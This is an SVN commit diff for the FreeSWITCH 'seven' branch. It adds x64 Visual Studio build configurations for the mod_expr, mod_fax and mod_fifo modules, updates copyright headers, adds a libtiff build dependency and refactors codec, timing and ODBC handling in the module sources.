-SWITCH_DECLARE(int) switch_isalpha(int c);
-SWITCH_DECLARE(int) switch_isdigit(int c);
-SWITCH_DECLARE(int) switch_isspace(int c);
+#ifdef WIN32
+#define SWITCH_DECLARE(type)			__declspec(dllimport) type __stdcall
+#else
+#define SWITCH_DECLARE(type) type 
+#endif
 
+SWITCH_DECLARE(int) switch_isalnum(int c);
+SWITCH_DECLARE(int) switch_isalpha(int c);
+SWITCH_DECLARE(int) switch_isdigit(int c);
+SWITCH_DECLARE(int) switch_isspace(int c);
+
 #ifdef __cplusplus
 }
 #endif

Modified: freeswitch/branches/seven/src/mod/applications/mod_expr/mod_expr.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_expr/mod_expr.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_expr/mod_expr.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -80,6 +83,72 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				DefaultCharIsUnsigned="true"
+				UsePrecompiledHeader="0"
+				DisableSpecificWarnings="4100;4701"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -142,6 +211,72 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				DefaultCharIsUnsigned="true"
+				UsePrecompiledHeader="0"
+				DisableSpecificWarnings="4100;4701"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/applications/mod_expr/mod_expr.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_expr/mod_expr.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_expr/mod_expr.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  * mod_expr.c -- Framework Demo Module
  *
@@ -195,7 +195,7 @@
 	/* connect my internal structure to the blank pointer passed to me */
 	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
 
-	SWITCH_ADD_API(commands_api_interface, "expr", "Eval an expession", expr_function, "<expr>");
+	SWITCH_ADD_API(commands_api_interface, "expr", "Eval an expression", expr_function, "<expr>");
 
 
 	/* indicate that the module should continue to be loaded */

Property changes: freeswitch/branches/seven/src/mod/applications/mod_fax


Name: svn:ignore
   + Debug
*.pdb
*.user
Release
x64
Win32

Modified: freeswitch/branches/seven/src/mod/applications/mod_fax/Makefile (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_fax/Makefile	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_fax/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,18 +1,25 @@
 BASE=../../../..
 
+TIFF_DIR=$(BASE)/libs/tiff-3.8.2
+TIFF_LA=$(TIFF_DIR)/libtiff/libtiff.la
+
 SPANDSP_DIR=$(BASE)/libs/spandsp
 SPANDSP_LA=$(SPANDSP_DIR)/src/libspandsp.la
 
-LOCAL_CFLAGS=-I$(SPANDSP_DIR)/src
+LOCAL_CFLAGS=-I$(SPANDSP_DIR)/src -I$(TIFF_DIR)/libtiff
 LOCAL_LIBADD=$(SPANDSP_LA)
 
 include $(BASE)/build/modmake.rules
 
-$(SPANDSP_LA): $(SPANDSP_DIR) $(SPANDSP_DIR)/.update
+$(SPANDSP_LA): $(TIFF_LA) $(SPANDSP_DIR) $(SPANDSP_DIR)/.update
 	cd $(SPANDSP_DIR) && $(MAKE)
 	$(TOUCH_TARGET)
 
+$(TIFF_LA): $(TIFF_DIR) $(TIFF_DIR)/.update
+	cd $(TIFF_DIR) && $(MAKE)
+	$(TOUCH_TARGET)
 
+
 depend_install: $(DESTDIR)$(libdir)/libspandsp.la
 
 $(DESTDIR)$(libdir)/libspandsp.la: $(SPANDSP_LA)

Copied: freeswitch/branches/seven/src/mod/applications/mod_fax/mod_fax.2008.vcproj (from rev 14471, freeswitch/trunk/src/mod/applications/mod_fax/mod_fax.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_fax/mod_fax.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_fax/mod_fax.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,291 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="mod_fax"
+	ProjectGUID="{7877EFC8-4807-484B-B573-D7B7FD058FAA}"
+	RootNamespace="mod_fax"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+		<Platform
+			Name="x64"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="0"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\spandsp\src\msvc&quot;;&quot;$(InputDir)..\..\..\..\libs\spandsp\src&quot;;&quot;$(InputDir)..\..\..\..\libs\tiff-3.8.2\libtiff&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="ws2_32.lib"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="0"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\spandsp\src\msvc&quot;;&quot;$(InputDir)..\..\..\..\libs\spandsp\src&quot;;&quot;$(InputDir)..\..\..\..\libs\tiff-3.8.2\libtiff&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="ws2_32.lib"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="0"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\spandsp\src\msvc&quot;;&quot;$(InputDir)..\..\..\..\libs\spandsp\src&quot;;&quot;$(InputDir)..\..\..\..\libs\tiff-3.8.2\libtiff&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="ws2_32.lib"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="0"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\spandsp\src\msvc&quot;;&quot;$(InputDir)..\..\..\..\libs\spandsp\src&quot;;&quot;$(InputDir)..\..\..\..\libs\tiff-3.8.2\libtiff&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="ws2_32.lib"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<File
+			RelativePath=".\mod_fax.c"
+			>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Modified: freeswitch/branches/seven/src/mod/applications/mod_fax/mod_fax.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_fax/mod_fax.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_fax/mod_fax.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -25,7 +25,7 @@
  * Contributor(s):
  * 
  * Brian West <brian@freeswitch.org>
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Steve Underwood <steveu@coppice.org>
  * Antonio Gallo <agx@linux.it>
  * mod_fax.c -- Fax applications provided by SpanDSP
@@ -33,6 +33,8 @@
  */
 
 #include <switch.h>
+
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
 #include <spandsp.h>
 #include <spandsp/version.h>
 
@@ -86,6 +88,8 @@
 
 	int tx_page_start;
 	int tx_page_end;
+	
+	int done;
 
 	/* UNUSED AT THE MOMENT
 	   int          enable_t38_reinvite;
@@ -180,7 +184,8 @@
 
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Remote station id: %s\n", far_ident);
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Local station id:  %s\n", local_ident);
-	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Pages transferred: %i\n", t.pages_transferred);
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Pages transferred: %i\n", 
+		pvt->app_mode == FUNCTION_TX ? t.pages_rx : t.pages_rx);
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Total fax pages:   %i\n", t.pages_in_file);
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Image resolution:  %ix%i\n", t.x_resolution, t.y_resolution);
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Transfer Rate:     %i\n", t.bit_rate);
@@ -208,7 +213,7 @@
 	switch_channel_set_variable(channel, "fax_local_station_id", local_ident);
 	switch_channel_set_variable(channel, "fax_remote_station_id", far_ident);
 
-	tmp = switch_mprintf("%i", t.pages_transferred);
+	tmp = switch_mprintf("%i", pvt->app_mode == FUNCTION_TX ? t.pages_rx : t.pages_rx);
 	if (tmp) {
 		switch_channel_set_variable(channel, "fax_document_transferred_pages", tmp);
 		switch_safe_free(tmp);
@@ -244,7 +249,9 @@
 		switch_safe_free(tmp);
 	}
 
-switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING);
+	/* switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING); */
+	
+	pvt->done = 1;
 
 	/*
 	TODO Fire events
@@ -392,14 +399,13 @@
 	const char *tmp;
 
 	switch_channel_t *channel;
-
-	switch_codec_t *orig_read_codec = NULL;
 	switch_codec_t read_codec = { 0 };
 	switch_codec_t write_codec = { 0 };
 	switch_frame_t *read_frame = { 0 };
 	switch_frame_t write_frame = { 0 };
-
+    switch_codec_implementation_t read_impl = {0};
 	int16_t *buf = NULL;
+    switch_core_session_get_read_impl(session, &read_impl);
 
 	/* make sure we have a valid channel when starting the FAX application */
 	channel = switch_core_session_get_channel(session);
@@ -573,13 +579,12 @@
 	 * used internally by spandsp and FS will do the transcoding
 	 * from G.711 or any other original codec
 	 */
-	orig_read_codec = switch_core_session_get_read_codec(session);
 
 	if (switch_core_codec_init(&read_codec,
 							   "L16",
 							   NULL,
-							   orig_read_codec->implementation->samples_per_second,
-							   orig_read_codec->implementation->microseconds_per_packet / 1000,
+							   read_impl.samples_per_second,
+							   read_impl.microseconds_per_packet / 1000,
 							   1,
 							   SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE,
 							   NULL, switch_core_session_get_pool(session)) == SWITCH_STATUS_SUCCESS) {
@@ -594,8 +599,8 @@
 	if (switch_core_codec_init(&write_codec,
 							   "L16",
 							   NULL,
-							   orig_read_codec->implementation->samples_per_second,
-							   orig_read_codec->implementation->microseconds_per_packet / 1000,
+							   read_impl.samples_per_second,
+							   read_impl.microseconds_per_packet / 1000,
 							   1,
 							   SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE,
 							   NULL, switch_core_session_get_pool(session)) == SWITCH_STATUS_SUCCESS) {
@@ -628,7 +633,7 @@
 		/* read new audio frame from the channel */
 		status = switch_core_session_read_frame(session, &read_frame, SWITCH_IO_FLAG_NONE, 0);
 
-		if (!SWITCH_READ_ACCEPTABLE(status)) {
+		if (!SWITCH_READ_ACCEPTABLE(status) || pvt->done) {
 			/* Our duty is over */
 			goto done;
 		}
@@ -671,18 +676,20 @@
 
 	/* restore the original codecs over the channel */
 
-	if (read_codec.implementation) {
+    switch_core_session_set_read_codec(session, NULL);
+
+	if (switch_core_codec_ready(&read_codec)) {
 		switch_core_codec_destroy(&read_codec);
 	}
 
-	if (write_codec.implementation) {
+	if (switch_core_codec_ready(&write_codec)) {
 		switch_core_codec_destroy(&write_codec);
 	}
 
-	if (orig_read_codec) {
-		switch_core_session_set_read_codec(session, orig_read_codec);
-	}
 
+
+
+
 }
 
 /* **************************************************************************
@@ -798,8 +805,7 @@
 		/* Not such severe to prevent loading */
 	}
 
-	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "mod_fax loaded, using spandsp library version %d [%d]\n", SPANDSP_RELEASE_DATE,
-					  SPANDSP_RELEASE_TIME);
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "mod_fax loaded, using spandsp library version [%s]\n", SPANDSP_RELEASE_DATETIME_STRING);
 
 	return SWITCH_STATUS_SUCCESS;
 }

Property changes: freeswitch/branches/seven/src/mod/applications/mod_fifo


Name: svn:ignore
   - mod_fifo.so
.libs
Makefile
Debug
Release
*.pdb
*.user
debug
   + mod_fifo.so
.libs
Makefile
Debug
Release
*.pdb
*.user
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/applications/mod_fifo/mod_fifo.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_fifo/mod_fifo.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_fifo/mod_fifo.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -78,6 +81,70 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -138,6 +205,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/applications/mod_fifo/mod_fifo.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_fifo/mod_fifo.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_fifo/mod_fifo.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,28 +17,25 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  * mod_fifo.c -- FIFO
  *
  */
 #include <switch.h>
-#ifdef SWITCH_HAVE_ODBC
-#include <switch_odbc.h>
-#endif
 
 SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_fifo_shutdown);
 SWITCH_MODULE_LOAD_FUNCTION(mod_fifo_load);
 SWITCH_MODULE_DEFINITION(mod_fifo, mod_fifo_load, mod_fifo_shutdown, NULL);
 
 #define FIFO_EVENT "fifo::info"
-
+#define FIFO_DELAY_DESTROY 100
 static switch_status_t load_config(int reload, int del_all);
 #define MAX_PRI 10
 
@@ -50,12 +47,14 @@
 	switch_hash_t *consumer_hash;
 	int caller_count;
 	int consumer_count;
+	int ring_consumer_count;
 	switch_time_t start_waiting;
 	uint32_t importance;
 	switch_thread_rwlock_t *rwlock;
 	switch_memory_pool_t *pool;
 	int has_outbound;
 	int ready;
+	int is_static;
 };
 
 typedef struct fifo_node fifo_node_t;
@@ -183,6 +182,8 @@
 	time_t orbit_timeout;
 	int do_orbit;
 	char *orbit_exten;
+	char *orbit_dialplan;
+	char *orbit_context;
 };
 
 typedef struct fifo_chime_data fifo_chime_data_t;
@@ -195,7 +196,7 @@
 		return SWITCH_STATUS_SUCCESS;
 	}
 
-	if (cd->total && switch_timestamp(NULL) >= cd->next) {
+	if (cd->total && switch_epoch_time_now(NULL) >= cd->next) {
 		if (cd->index == MAX_CHIME || cd->index == cd->total || !cd->list[cd->index]) {
 			cd->index = 0;
 		}
@@ -208,15 +209,19 @@
 			args.input_callback = moh_on_dtmf;
 			args.buf = buf;
 			args.buflen = sizeof(buf);
-			switch_ivr_play_file(session, NULL, cd->list[cd->index], &args);
+
+			if (switch_ivr_play_file(session, NULL, cd->list[cd->index], &args) != SWITCH_STATUS_SUCCESS) {
+                return SWITCH_STATUS_FALSE;
+            }
+
 			if (caller_exit_key && *buf == *caller_exit_key) {
 				cd->abort = 1;
 				return SWITCH_STATUS_FALSE;
 			}
-			cd->next = switch_timestamp(NULL) + cd->freq;
+			cd->next = switch_epoch_time_now(NULL) + cd->freq;
 			cd->index++;
 		}
-	} else if (cd->orbit_timeout && switch_timestamp(NULL) >= cd->orbit_timeout) {
+	} else if (cd->orbit_timeout && switch_epoch_time_now(NULL) >= cd->orbit_timeout) {
 		cd->do_orbit = 1;
 		return SWITCH_STATUS_FALSE;
 	}
@@ -256,12 +261,7 @@
 	char *dbname;
 	char *odbc_dsn;
 	int node_thread_running;
-	
-#ifdef SWITCH_HAVE_ODBC
 	switch_odbc_handle_t *master_odbc;
-#else
-	void *filler1;
-#endif
 } globals;
 
 
@@ -274,9 +274,9 @@
 	if (mutex) {
 		switch_mutex_lock(mutex);
 	}
-#ifdef SWITCH_HAVE_ODBC
-	if (globals.odbc_dsn) {
-		SQLHSTMT stmt;
+
+	if (switch_odbc_available() && globals.odbc_dsn) {
+		switch_odbc_statement_handle_t stmt;
 		if (switch_odbc_handle_exec(globals.master_odbc, sql, &stmt) != SWITCH_ODBC_SUCCESS) {
 			
 			err_str = switch_odbc_handle_get_error(globals.master_odbc, stmt);
@@ -286,9 +286,8 @@
 			switch_safe_free(err_str);
 			status = SWITCH_STATUS_FALSE;
 		}
